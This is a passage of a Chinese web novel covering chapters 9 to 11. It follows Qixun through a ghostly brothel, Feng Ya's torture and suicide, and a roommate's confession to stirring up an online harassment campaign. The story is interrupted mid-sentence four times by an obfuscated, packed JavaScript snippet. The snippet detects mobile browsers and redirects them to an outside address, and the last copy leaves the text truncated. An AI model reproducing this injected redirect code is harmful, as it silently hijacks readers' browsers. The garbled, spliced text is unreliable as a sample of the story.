七寻和冯涯照做,辛辣的粉尘挥洒在空气中,即便早有准备,还是免不了被呛到。 青颜这是浇了多少辣椒粉啊! 四周一片哭嚎,两人被青颜和红鸾带上马,离开了辣椒粉覆盖范围。 青颜和红鸾牵着缰绳前后夹击,马蹄“哒哒哒”在烟粉外徘徊,里面的人刚想爬出来,吓得赶紧缩了回去。 这要是被踩上一脚,轻则骨碎,重则丧命,该怎么取舍,是个人都想得明白。 将缰绳交给冯涯,青颜手舞足蹈地浇着辣椒粉,玩得不亦乐乎。 “我们进入南林后,发现街道空无一人,进了家舍才发现百姓全部吊死在家中,肉身腐烂不堪,不像是才死了一两日的。”红鸾压低声音逼问:“说,这里到底是怎么回事?” 李清眼睛被辣得睁不开眼,无头苍蝇一样在里面乱窜,嘴里还不忘叫嚣道:“贱婢!我乃朝堂命官,岂容你在这放肆!” “狗屁命官!”青颜见不得他这嚣张模样,下马冲上去对着他屁股就是一脚。 李清一个不慎,摔了个狗啃泥。 “呸!贱婢尔敢!” “闻‘贱’者必自贱,大人今日之态,可谓现身说法。” “你……”李清气得再顾不上,强行撑开眼皮将目光钉在冯涯身上,面如阴鬼,“冯涯——把灵狐还来!” 若是这一次再抓不住灵狐,他只有死路一条,他怎么甘心让到手的鸭子飞了。 看着眼前这个面目狰狞的男人,冯涯眉头紧皱,恍惚间,若不是这人长着张跟李清一摸一样的脸,她都要怀疑这人是不是李清了。 见青颜眉间闪过一抹狠色,红鸾还来不及阻止,青颜巴掌已拍在马屁股上。 烈马受惊,一脚踩在李清小腿上。 “啊——”李清喉间发出撕心裂肺的惨叫声。 待辣椒粉尘散去,青颜将刀抵在李清脖子上,眼底尽是冷色,“说!” “不说……我现在就让你下地狱见阎王!” 早死玩死都是死…… 青颜看出了什么,挑眉用刀背拍他脸,挑逗道:“我可提醒你,我刀功不好,这一刀砍不死,就要麻烦些,多来几下了!” “我说,我说!”李清眼睛肿胀得怎么也睁不开,拖着残腿,不知该向哪边躲,吓得浑身直打哆嗦,终于开口道:“翎王心生歹意,欲夺灵狐,谋权篡位……” 他正说着,一直盘旋于上空的鬼影突然张开大嘴,将所有人吞入腹中。 七寻抬头看天,发现其他人神色如常,没有一点反应。 就像酒楼隔间那张骇人狐面一样,只有她一个人能看到吗? 被吞没的那一刻,七寻感觉自己像被扔进了洗衣机里,天旋地转地滚了一圈,终于在盖子打开的那一刻看见天明。 眼前莺歌燕舞,行人酒客不断,她被强制遣回风花雪月楼。 对,就是强制。 操纵这里的人,不希望她听到李清即将说出口的话。 既然要她查明当年的真相,为何又要出手阻碍? 太矛盾了。 难不成青衣在耍她? 想曹操曹操到,下一刻青颜就出现在了她眼前。 “小四,还在担心冯涯呢?”青颜递给她一块香味扑鼻的桂花糕,安慰道:“她说过没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322563|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,就肯定会没事的。” 七寻嚼着桂花糕,安静听着,却因青颜下一句话顿住。 “而且,冯涯跟李清是结发夫妻,他定会帮冯涯洗清冤屈,讨回公道的。” 冯涯怎么了? 还有李清那副小人模样,怎么可能帮冯涯讨公道,他不在背后捅刀子就算是不错了。 窗户大敞,四月的风不算冷,七寻却被风吹得抖了一下。 违和的地方又出现了。 听青颜的语气,她描述的李清简直跟冯涯那晚口中的李清一模一样,明事知理,身怀君子气概。 可她见到的,却是个阴险恶毒,为达目的不择手段的李清。 七寻脑子飞快运转,问青颜:我可以去见冯涯吗? 青颜摇摇头,叹道:“南林之事祸及众多,她却因南林之事被关下狱。圣上因这事震怒,牢外还有翎王的人守着,我们就算是吊死在城墙上也进不去的。” “现在唯一能指望的,就只有等李清查明真相,还冯涯清白了。” 七寻脸色发白,这才认识到事情的严重性。 “哎,你跑哪去?” 七寻“哒哒哒”跑上楼,速度快到青颜都没跟上。 她一把推开那间死过人的隔间,再次与那张血淋淋的狐面对上。 不知道是不是受白狐的影响,她竟不觉得这张狐面可怕,还觉得有些亲切。 在她怔愣的间隙,狐面口吐人言,高兴道:“你终于来了……” “……” “需要我带你去找她吗?” 七寻心领神会的知道,它说的那个人是冯涯。 她没有犹豫,坚定地伸出了手。 狐面脸上的笑容越来越大,随后化作白雾围绕在七寻周围。 不一会儿,七寻身边的雾气越来越多,像松软的棉花般有了实态。她忍不住伸手摸了一下,雾中突然跳出一只皎白的白狐。 白狐缩起爪子,乖巧地窝在她怀里,尾巴“呼呼”摇着,愉悦地叫了几声。 七寻心中终于安定下来。 像是明白她心中所想,白狐从她怀里跳下,身体慢慢变大,用尾巴将七寻勾在背上。 七寻疑惑的抓着它背上的毛发。 它这么大,怎么出去? 她正想着,白狐横冲直撞,直接从狭小的窗子轻跃而过。 七寻吓得闭上了眼睛,幻想中撞得头破血流的场面并没有出现,等她再睁眼,白狐已稳当当地穿梭在楼房之间,很快便到了囹圄门前。 白狐漠视周围一切守卫,直接驮着她走了进去。 七寻猜想,它应当是拥有某种隐身的能力。 狱中阴暗潮湿,越往里走血腥味越浓,七寻心口不由沉了沉。 带着风劲的鞭子声犹刮在耳边,只听一人恶狠狠道:“说,灵狐到底在哪?” 是李清的声音! 七寻着急地拍拍白狐,白狐加快脚步,朝着声音的方向飘去。 “冯涯!何必冥顽不灵,只要你如实交代,助翎王殿下抓到灵狐,就再不用受这皮肉之苦。” 冯涯被锁在柱子上,嘴角挂着血丝,满身血痕,可即便如此,依旧桀骜地“呸!”了一声,痛骂道:“狼狈为奸!” 9. 杀人了 冯涯! “别冲动。”白狐眯着眼睛说道:“我有办法收拾他……只需再等等。” 白狐眼中划过嗜血的冷光,轻声道:“再等等。” 很快七寻便知道了白狐口中的再等等是什么。 一人一狐跟着李清走出昏暗无光的监狱,白狐对着李清吹了口气。 “李清。” 身穿红袍官服的李清一只脚已踩在了马车上,闻声骤然回头,随即瞪大眼睛,痴狂地看地眼前这只漂亮的白狐。 “灵狐……” 身旁的随从不明所以地看向他,唤了声:“大人?” “灵狐!”李清的眼底猩红,手指从随从心口穿过。 “我抓到了哈哈……” 青天白日,朗朗乾坤之下,街上百姓好奇看去,却见一个红袍官人站在马车之上,手中高举着一颗还在跳动的心脏,癫狂大笑道:“我抓到了灵狐了,王爷,我抓到了!” 而那架华贵的马车旁,随从死不瞑目地倒在地上,胸口处血流不止,不断向外漫延。 “啊——” “杀人了,杀人了!” 囹圄门前,当街杀人。 李清很快被人拿下,而狱中奄奄一息的冯涯早已被七寻和白狐偷偷带走。 坐在白狐背上,七寻闻到了一股浓重的血腥味。 她回眸看去,天边被血色浸染,而且还在不断扩张中。 “……” 回到风花雪月楼,七寻让白狐不要打草惊蛇,先将冯涯放到隔间里。没想到刚进门,就撞上了红鸾。 红鸾没有被突然出现的白狐吓了一跳,神态自若地将七寻和冯涯抱了下来。 “这里不方便,送我屋里吧。” 白狐与她对视两秒,没有拒绝。 中途冯涯醒了过来,她意识还很模糊,口中还不忘念道:“红鸾……你们这样将我带回来,很危险……” “既然回来了,就没有再将你送回去的道理。”红鸾神色不明地说:“睡吧,不要再担心这些了。” “不行的……”她轻喃一句,眼中滑下泪来。 她在狱中受刑多日,从未哭过,却在这一刻哭了。 冯涯晕了过去,很快发了高烧,数日未褪。 期间一直都是红鸾在照顾她,她将冯涯安置在小隔间里,用帘帐隔开,又跟老鸨报病多日,独自宿在屋中,从未跟其他人说过冯涯的事情。 所以即便是与她住在一块的青颜,也不知道屋子里多了个人。 七寻打着手语:为什么不告诉青颜? 红鸾帮冯涯掖好被角,说:“她守不住话,多说无益。” 七寻:“……”真的是这样吗? 她期盼冯涯能快点醒来,这样她就能跟她学几招驱鬼的本事了,那样即便冯涯不在,她也有自保的能力。 可惜冯涯没有醒来的迹象,七寻便没再多问,像往常一样在酒楼里忙碌着。 她正给客人倒着酒,忽然被青颜拉到一旁问话。 青颜面上蒙着面纱,因为刚舞完剑,额上还流着汗,她犹豫地开口问道:“红鸾最近是怎么回事?” “她将我赶了出去,倒是留你在房中。”她说着,不免担忧,“小四,你老实跟我说,她病可好些了?” 七寻眼珠子一转,打手势说:你自己去问问她不就是了? “我要是能问出个所以然来,还用得着找你么?” 青颜将七寻逼至墙角威胁:“红鸾看着面热,平日里也就跟我们走得近些,若是她出了什么事,你可不能替她遮掩。” 其实七寻也很疑惑,但青颜这架势,是不答应就不放她走的意思。 七寻没办法,只得顺着她点了点头。 “这才像话。”青颜眼角微弯,揉着她脑袋,哼哼道:“要不是红鸾吃的药方子没什么问题,我早就砸门进去了。” “我没这样干,是怕她恼我。”七寻听着她发愁地说:“你是不知道,我最怕她生气了。红鸾生起气来,比老鸨还恐怖。” 红鸾脾气好得很,哪有那么容易生气。 青颜简直是杞人忧天。 青颜好像有些不舒服,伸手捏捏眉心。 抬手间,七寻的视线从她袖中一扫而过,然后整个人怔愣住,眼睛呆呆地看她。 ……那疤痕,她只在南林百姓身上见到过。 半夜,七寻脑海中全是那抹疤痕的模样,她翻来覆去地睡不着觉,于是趁红鸾不注意偷溜了出去。 她轻手轻脚跑到隔间,才发现房间被人上了锁。 进不去了…… 心口像是被针扎过,泛起密密麻麻的痛意,七寻不禁皱了下眉。 怎么感觉……视线变模糊了。 七寻退了一步,脑子一阵阵发晕,根本站不稳,要不是她眼疾手快抓住门锁,恐怕就要摔个四脚朝天。 “轰隆”一声,天边红光漫天,窗外狂风呼啸。电闪雷鸣间,黄豆般大的雨滴从天轰然砸下,直叫人心慌。 房外挂着的橙红灯笼骤然熄灭,七寻握着铁锁的指尖发麻,再低头,她才发现自己不知何时,已站在了血泊中。 诡异的狐笑声从风花雪月楼楼顶传来,来回在楼间环绕,似讥讽,似嘲笑,不由分说地钻入脑中。 天空被闪电劈开一个口子,无知的酒客和姑娘们慌忙从酒楼逃出,不知远处幽暗诡谲的雨幕中,整齐规正的铁骑持刀而来,如鬼煞般用利刃将他们穿肠破肚。 衣裙翻飞,血淌在地上,很快被大雨冲刷得无影无踪。 “快跑啊!” “快跑啊——” 恍惚间,七寻被逃窜的流客撞了一下。 她堪堪站住,用力甩了下脑袋,才让眼前扭曲的景象变得清晰了一些。 酒客跟姑娘们像是看不到那些铁骑般,不要命地闯入雨中。 不要去…… 回来…… 七寻瞪大双眸,紧紧盯着雨中那些亡魂,眼眶中不自主地流下滚烫的泪水,喉间紧缩,发疼发痒,似要吐露出几个名字。 “小四!” “你怎么还在这?妈妈没带着你走吗?”青颜从背后冲出来,一把拽住了她。 七寻被她掐得回过神,意识终于回归,低头的一瞬,她一只脚已踏在了数层高楼之外。 也就是说,只要再往前一步,她就要从这高楼中掉下去,摔得粉身碎骨。 差一点,差一点她就死了…… 她紧张地吞了口唾沫,后背浸出一身冷汗。 青颜头发凌乱,面色青白沧桑,一副很慌乱的模样。 她手中的力道没控制住,抓得七寻疼得小脸扭曲,可青颜像是没注意到般,哽咽地问:“你看到红鸾了吗?” “红鸾不见了,我找不到她……” 还不待七寻回答,青颜已晃悠悠地向酒楼下方跑去。 七寻刚站稳,正要追去,青颜的身影已消失得无影无踪。 楼外红帐飘飞,在血夜雷鸣的衬托下,好似楼里藏着只修为逆天的千年大妖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322564|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁马鼻间“呲呲”冒出蒸腾热气,铁甲泛着冷气,厚厚的头盔下是一双双凌厉肃杀的眼眸,尖锐的刀刃在雨水中折射出森森寒光。 铁甲向两边推开,一人从中被推了出来,轰隆隆的闪电中,七寻看清了那人阴翳的面庞——正是李清。 紧接着,雨中传来一声暴呵:“冯涯,出来!” “若再不交出药方和灵狐,本官就要命铁骑踏平这风花雪月楼!” 李清继续施压:“冯涯,你真的要让这一楼的人,因你丧命吗?” 七寻尽量让自己忽视掉脚上黏腻的血,谨慎地缩在角落观望。 太安静了,好像整栋楼里就只剩她一个人…… 随着时间的流逝,雨中的气氛愈发凝重。 七寻紧张地抓着护栏,耳边忽然响起狐狸的笑声。 她骤然转头,那张半人高的流血狐面不知何时漂浮在她耳侧。阴风中,狐面缓缓勾起一个诡异的笑,那双猩红的狐狸眼直勾勾盯着她,不带一丝白狐的纯良可爱。 七寻腿腹止不住地颤抖着,一时间竟失了逃跑的力气。 狐面打量着她,又看看旁边熄掉的灯笼,呲牙兴奋道:“抓到替死鬼啦~” “抓到替死鬼啦~抓到啦抓到啦,抓到替死鬼啦嘻嘻~” 狐面在黑暗中明明灭灭,四面八方都是这一句话,七寻顿时毛骨悚然。 它不像是在开玩笑,像是真的要将她抽骨剥皮,然后用灯笼上的纸皮和竹骨缝合拼凑出另一个人。 不能坐以待毙,要跑! 七寻猛掐了一下大腿根,然后以平生最快的速度夺过酒桌上的酒壶向狐面砸了过去。 她边跑边观察着地形,眼看狐脸就要追上,鼓起勇气下定决心,一把抓住红帐,从高楼一跃而下。 她荡在空中,咬牙在护栏上猛蹬一脚,借力荡到高楼另一侧。 回头看去,狐面不知去向。 神经始终紧绷着,再回头顿时抽了一口凉气——狐面笑盈盈地出现在了她落脚处。 该死! 简直阴魂不散。 这狐面哪是追不上她,分明是在戏耍她! 既然如此…… 七寻面露狠色,一脚踏在狐面上,将狐狸鼻子踢得深陷进皮肉中,然后迅速借着这股力,荡到别处。 “刺啦——” “!”七寻抬头,看到正在断裂的红帐,忍不住在心里破口大骂。 不都说天无绝人之路吗? 为什么到她这里是上帝关上门,还顺手锁上了窗啊! 有没有天理啊! 底下黑黝黝一片,掉下去准要摔成脑残…… 一定要抓住,另一根红帐…… “刺啦——” 在手指碰上另一根红帐的前一刻,七寻手里那根彻底断开。 急骤下坠,心脏猛然紧缩,狐面从眼前飘过,满脸嘲讽。 像是最后一根救命稻草,七寻瞪着溜圆的眼睛,一把拽住它耳朵。 狐面痛苦地尖叫着,开始到处乱窜,癫狂得像一辆失控的过山车,似要将七寻从它身上甩下去。 七寻可不会遂它的愿,紧咬着牙,死也不放手。 让你来看笑话,让你吓人,让你得意,那就来给她当垫背的吧! “呃……”后背猛地撞在柱子上,七寻心里的火气旺了又旺。 她正要反击,狐面忽地胀大,直到长到五米高,才堪堪停下。 像只小卡拉咪一样挂在它身上的七寻:“……” 10. 腹中胎 眼看着就要被血狐吞入腹中,底下传来一严厉的呵斥声:“放开她!” 是冯涯! 只见冯涯站在地上,全身上下都被雨淋透了,目光却像把刀子,重重砍在血狐身上。 狐面耸拉着耳朵,不甘心地把已经送到嘴边的七寻吐了出去。它哆嗦了下,像缩了水的羊毛衫,转眼间只剩巴掌大小。 七寻正要朝冯涯走去,却被她出声拦住:“小四,到屋里面去……” “不要靠近我……” 为什么不能靠近冯涯? 光太暗,雨也太大,七寻根本看不清冯涯脸上的表情,只听到她不容拒绝地说:“青颜,带她走。” 七寻一惊,才发现身后站了个人。 什么时候…… 一只疙疙瘩瘩的手拽住了她,一把将她拖入屋房。 木门“哐当”一声关上,屋中摇曳着鬼火,空气中弥漫着一股苦药、腐臭混杂的恶臭味。各处爬满蛛网,尘埃堆积,整个屋子冒着森森阴气,冷得人骨头打哆嗦。 直觉告诉她,她不能待在这,得赶紧出去,可是木门怎么也打不开。 阴风从颈脖间拂过,激起七寻一身鸡皮疙瘩。 她转身,将后背紧紧贴在门上,才找回些安全感。 旁边又亮起一盏鬼火,只见一具瘦成皮包骨的躯体仰躺在床上,微张着嘴巴,眼窝凹陷,眼角处流着一抹清泪。 她目中无光,好似一具死了多年的枯木。 七寻屏住呼吸,不敢发出一点声音。 情况未知,她还是不要随意动弹了。 她转着眼珠子,小心翼翼地看着周围,才发现角落里还蹲着几个面对着墙角哭泣的姑娘,也是在这时她忽然想到……青颜呢? 是她将自己拽进来的,她人怎么不见了? 也就是这一愣神的功夫,床上那具枯尸已站在了她面前。 不……应该说是九十度歪着头,跪在自己面前。 带着脓疮的枯手覆在七寻脸上,干瘪的唇上下磕碰着,发出机械报废后的嘶哑声:“她为什么不来找我……是怕我传染给她吗?” 七寻脑子里一片空白,有什么东西从回忆中一闪而过。 枯尸断断续续呢喃着:“我们从前,最要好了的……她,抛弃……抛弃……我恨……我讨厌她……”她眼中似有流不完的泪,可就算流再多泪,也抚平不了她皱皱巴巴的皮肤。 七寻白着脸,正想着要不要踹开她,枯尸忽然朝她手里塞了个尖锐的东西。 “替我,给,她……” 他/她,是谁? 七寻握着东西的手都在抖。 枯尸如白沙般哗然散去,徒留她手中那枚黏腻的物件。 借着鬼火,七寻终于看清——那是一把精致的匕首,鞘上还刻着“长安”二字。 她摩挲着那两个熟悉的字,刚刚一闪而过的想法又冒出头来。 青颜! 七寻愣了一下,大喘一口气。 青颜风姿绝代,武得一手好剑,那具枯尸怎么会是青颜呢? 七寻难以置信,喉咙却发不出声。 可就算能问出口,也未必有人能回答她。 外面传来不大不小的声音,挟着不屈的意志,穿过雨幕,清晰可闻。 “翎王想要灵狐,怎么不自己来取,偏派你这个狗腿子?”冯涯嘲讽道:“莫不是病了没解药,起不来床?” “我不需要你们的回答,今日,我都遂尔等肖小的愿,以灵狐相赠,换风花雪月楼众人平安。”冯涯站在火光中,手中提着一只染血的白狐,然后绝情地抛掷在大雨中。 “想要,就过来拿吧。” 都不用李清示意,他身边的顺从已冲了出去,将灵狐带了回来。 顺从将灵狐抱在怀中,走到李清面前,“扑通”一声跪在地上,将灵狐举得高高的,颤抖道:“大人……” 李清兴奋地拨弄了下灵狐的皮毛,终于发现不对劲。 死的…… 冯涯将灵狐杀了! 明白过来一切,李清顿时目眦尽裂,坐在轮椅上的他犹地狱恶鬼般咆哮一声:“冯涯——” “我不了解你,我还不了解翎王吗?他是个心狠手辣的人,他是不会放过我们的……” 冯涯狼狈不堪地站在雨中,看向李清的目光却如开了刃的刀般,尖锐、明亮又刺骨,好似要用眼神生生活刮了他。 她淡然一笑,“他想登位,就不会放过我们,当然,也不会放过你。” 冯涯手中冷光一闪而过,李清意识到什么,却已经来不及里。 血夜中,她举起手中的刀架在了脖子上,决然自刎。 刹那间,天边闪电被定格住,将天地分割成两半,热血如飘扬的红帐般飞溅而出。 瞪着那抹倒下去的身影,李清一个不稳直接摔在了雨地里,他疯癫般狂笑着:“哈哈哈哈哈不会放过我,不会放过我!” “他何时……”他失去理智般捶着泥水,目中爬满血丝,“他何时放过过我!” “烧了,把这里烧了!” “都给我,统统烧了——” 一时之间,水浇不灭,火烧不尽。 火舌不断攀升,七寻不顾一切地砸着门,想要从房间里逃出去。烟熏火燎中,她透过门缝,看到一抹红色的身影不要命地朝这边冲了过来。 木块被烈火烧得断裂,然后再也支撑不住地轰然垮下。 酒楼一点点燃尽,最终只留下一堆染血的灰烬。 …… 房梁砸下来的那一刻,七寻意识抽离。 她在抽泣声中睁开眼,然后就看到了坐在她身边的李小琴。 “小琴,你怎么会在这?” 七寻惊喜地坐起身,摸摸喉咙,又摸摸脸,发现自己能说话了,而且还变回来了。 她没死! “七寻!”见她醒过来,李小琴先是一喜,然后意识到什么,瑟缩着含糊地说:“我不知道啊,我一觉醒来就在这了,我……” 撒谎! “那你的肚子是怎么回事?”七寻打断她,眼睛直勾勾地盯着她肚子看,好似那里藏了什么宝贝。 “没怎么,我就是一时吃多了,还没消食……” 七寻状似不解地问:“我看着怎么像怀孕了?” “不是!”李小琴像只受了惊的兔子,惊叫道:“不是怀孕……” 七寻还想再试探几句,李小琴表情大愕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322565|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,恐惧地看着她身后。 七寻想也没想朝旁边滚去,然后迅速起身,警惕地看着青衣。 青衣伸出的手停在半空,怔愣着看着她。 七寻看了眼腰间挂着的匕首,眉头一挑,坚定的说:“我想找狐狸。” 青衣收回手,上下打量着她,轻蔑地笑了一声,道:“找他做什么?不怕他吃了你吗?” “青颜姐姐。” 青颜鬼瞳微眯:“……”这家伙在打什么鬼主意? “青……” “我带你去。” 七寻得逞一笑,就要跟着她离开,手腕忽然被人抓住。 周围鬼气阴森,不知道什么时候旁边就会爬出来一只索命的鬼。 李小琴害怕地低着头,小声地说:“可以带我一起去吗?” 她肚子鼓得很大,七寻装作没看到,点点头,同意了,“那就一起吧。” 李小琴瞬间欣喜,屁颠屁颠地跟在她身后。 青颜将两人带到柳树下,李小琴一路低着头,紧紧抓着七寻的手。 她抓的力气很大,七寻叹了一声,道:“小琴,你抓疼我了。” 李小琴松了松手,慌忙道歉:“抱,抱歉……” 就这么害怕狐狸吗? 余光扫过鼓涨的肚子,七寻心中有了猜测。 桃夭卧在弯曲的柳枝上,一手枕在脑后,一手拿着一壶酒,听到脚步声,眼皮都未曾抬一下。 他自顾自喝一口,姿态随意地擦去嘴边的酒渍,雌雄莫辩的脸上尽是冷色,“找我什么事?” 在李小琴惊恐的目光中,七寻一把将人推了出去,说:“人既然抓来了,你是不是该把我这个抓错的放了?” 李小琴瞳孔骤缩,随后面容扭曲道:“你让我跟着你,是想卖了我!” “请注意您的措辞。”七寻双手抱拳,冷漠的看着她:“是你主动跟着我的,不是我让你跟着我的。” “而且,我是受你牵连,才被拉到这鬼地方的。” “难道,你不该偿还我吗?” 李小琴怒道:“你个小人,卑鄙!” “我小人?我卑鄙?那你呢?”七寻反问道:“你怎么不反思一下他们为什么要抓你进来?” “我可不信你清清白白的,被阴鬼缠上。” “我,我……”李小琴被她堵住,憋红了脸也没说出能反驳的话。 她干的那些事,决不能让其他人知道! 决不能! “还不说吗?”七寻步步紧逼,将她逼至墓前,一下就惊动了跪在那的李清。 李小琴跌坐在地上,只觉后背凉凉的,转头看到一块无名碑,还有面色青白没了双腿的李清,顿时吓得抱头痛哭。 “我什么都没干,我也是被冤枉的,是他们抓错人了!” “我没错!”挣扎间,圈着坟墓的红线缠在了她身上,李小琴被吓得精神恍惚,以为是鬼在扯着她,顿时泪流满面地哭嚎着:“……是他们抓错人了!” 就在这时,李小琴原本安静的肚子蠕动起来,似有什么东西要从里面钻出来。 “……”七寻紧皱着眉。 她原本以为里面是死物,现在看来,竟是活的吗? 11. 真与假 “啊啊啊救我——”李小琴惊叫着,想要拉住七寻,哭着说:“七寻,你不能真的不管我!” 肚子里的东西蠕动得越发厉害,依稀能看到手脚凹凸的模样,下一秒又猛得一顶,整个肚皮被撑成锥形,李小琴面无血色,吓得差点晕厥过去。 李小琴疼得大汗淋漓,连摸都不敢摸自己的肚子,强烈的窒息感扑面而来,挤压着她本就紧绷的神经。 她感知到,如果再不说实话,她真的会死在这里。 视线一阵阵发黑,李小琴绝望地喘息着,大声喊道:“我说,我说!” 话音刚落,一团黑黢黢的鬼气从肚子里面穿出,原本鼓涨的肚子瞬间瘪下来,很快恢复成原样。 鬼气凝实成团,“呼噜噜”在地上滚了好几圈才堪堪停下。 黑团子周身鬼气散出,背对着众人,长长“呕——”了一声。 待他转身,七寻终于认了出来。 这不就是之前给她带路的鬼童么? 七寻眼睛微眯,余光扫向饶有兴致地看着这边的狐狸。 臭狐狸塞进去的? 什么恶趣味,就算是为了逼人说实话,也不用…… 七寻扶起地上满头大汗的李小琴,问她:“没事吧?” 岂料李小琴根本不领情,怨恨地瞪了她一眼,甩开她的手,“滚开!我才不用你假惺惺地安慰。” 她指着狐狸,眼睛在一人一狐间徘徊,气得已经顾不得那么多了,怨恨地说:“你跟他就是一伙的,为了出去,你出卖同类!你要逼死我!” 七寻居高临下地看着她,好像在看一个小丑,然后俯身揪着她衣领,也不跟她演了,面色发冷道:“那该怎么办呢?” “要是我不逼你,你会说吗?” 她语气没有任何起伏,可就是这样平静的态度,才让李小琴感到害怕。 “我相信你是不会的。那你又凭什么让我因为你,被永远地困在这里等死呢?” 七寻目中没有一点温度,冷得吓人,一句句怼得李小琴哑口无言。 “我希望你知道,我是在帮你。” 她没看李小琴脸上是什么样的表情,转身对臭狐狸不爽地问:“看够了吗?” 狐狸挑眉看着七寻。 七寻嘴角勾起一抹讽刺的笑,语气平静:“你把她送到我身边,不就是为了看我出糗吗?” “没错。”桃夭从树上跳下来,又喝了一口酒,“但我更想听听,她都干了些什么。” 李小琴瑟缩了一下,紧抿着唇。 七寻提醒她:“你要是因为肚子里面的东西出来了,想要反悔,我相信他不会介意再多花些功夫,重新把鬼胎塞回去。” 刚呕完的鬼婴听到这话愣了愣,转而对着李小琴呲牙,露出一个邪恶的笑容。 没想到小家伙这么配合,七寻心中有些好笑。 李小琴吓得退后了些,知道糊弄不过去,含糊的说:“这,这事,要从我交的那个男朋友说起。” 一旦开了口,之后的事情说起来就简单了。 “我们是在网球场上认识的。” 这事七寻知道,网球属于他们学校体育选修课中偏难的那一类,老师也不怎么放水,所以李小琴经常在课余时间拉着同学一起去网球场练习网球。 直到有一天,李小琴兴高采烈地回来,说在网球场上遇到了一个白月光级别的学长。 那个学长长相白净,瘦瘦高高的,据说是网球社团副团长,网球打得特别好。 当时她们几个女生在球场上练习,球打得鸡飞狗跳,姿势也不一定对,但练得很起劲。 可能是看不下去了,学长贴心地过来纠正她们。 再之后,李小琴就跟那个学长谈上了。 “谈之前,我是知道他有前女友的,虽然心里别扭,但他们都分手了,再纠结就是我的问题了。” 李小琴说着,掉下眼泪:“可是最近他前女友又找上他,我心里总担心他们旧情复燃,心里烦躁又不敢问,也不想跟身边认识的人说,于是,于是就发给校园墙吐槽……” “我没想到,没想到校园墙会发网上,还被同校的人解了码……”李小琴哭得狠了,抽涕得停不下来。 七寻意识到关键内容在后面,但还是蹲下身,拍着她的脊背道:“不着急,慢慢说。” 可她越是这么说,李小琴就哭得越厉害。 李小琴伏在她身上,艰难地说:“他前女友,被网上的人造谣、谩骂,甚至被寄了遗照,很快被迫休学。” “我真的没想过这样,我只是拍了一张他们搭着手的照片,我没想到网上那些人会揣测那么多……更没想到事情发酵得这么严重……” 七寻的手温柔地抚在她背上,语气却透着与之相反的凉薄:“不止这么简单吧?” 李小琴哽住,一副不明白她为什么这么问的样子。 “你要是真无辜,他不会拉你进来的。” 李小琴不满道:“你信他,不信我!我可是你的室友,你该站在我这边……” 七寻站起身,摇摇头说:“没什么该站在哪一边,我现在只认对错,只认真相。” “要我信你,你得先对我坦诚相待。而不是像挤牙膏一样,我逼你一下,你抠搜的挤出来一点。” 李小琴脸上不理解的表情太过真切,真切到好像七寻在无理取闹般,她大吼道:“该说的我都说了!你还要我说什么?” 这一次,桃夭没给她狡辩的机会,伸手从空中拂过,虚空中瞬间出现大大小小的评论截块,最上面赫然是一张李小琴和校园墙之间的聊天记录。 李小琴瞪大眼睛,不顾一切地爬起来,想要挡住那些照片。 “你怎么会有这些!” “不准发出来!不准看!”她狰狞道:“你们谁都不准看!” 可她怎么挡也挡不住,因为那都是她曾经干过的事。 芝士葡萄:【墙墙,匿名~】 校园墙:【好哒~亲~】 芝士葡萄:【我最近交了个男朋友,他性格温和,对我很好……可是最近他前女友又找上了他,还勾勾搭搭的,我不知道他们是不是有什么,你能帮我发墙上问问大家吗?】 消息后面还附了张照片。 照片是从两人身后拍的,那天天气应该很好,阳光明媚。斑影下,男生穿着白T牛仔裤,女生穿着一件粉色吊带裙。 两人很随意地站在树下,隐约可以看到男生拉着女生的手,低头询问着什么,而女生正抬起头看着男生。他们贴得很近,近到让人怀疑是不是下一刻就要亲上了。 校园墙:【好哒~】 七寻看向网友的评论,发现那些评论大多都在指责女生。 【这要是我闺女,我绝对不会让她这么穿,简直丢人现眼。】 【都分手了还缠上来,简直不要脸,是不是寂寞空虚?就等着人*?】 【仅凭一张照片和几句话,就对一个女孩子怀以这么大的恶意。又不了解全貌,万一是男方的问题呢?】 这条评论缩在角落,很快被其他不堪入目且上不得台面的评论覆盖住。 七寻一一扫过,看向李小琴的目光瞬间冷了下来。 “你应该不止发了这一张照片。” 在李小琴惊恐的目光中,七寻缓缓开口:“那个解码的人,应该也是你,对吧?” 只可能是有人蓄意引导,才会让舆论一边倒的偏向某一方。 舆论攻击的方向太过明显,在背后引导的人是谁,简直不言而喻。 眼见事情被人彻底刨开,李小琴低着头,站在不断弹出的评论截图前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 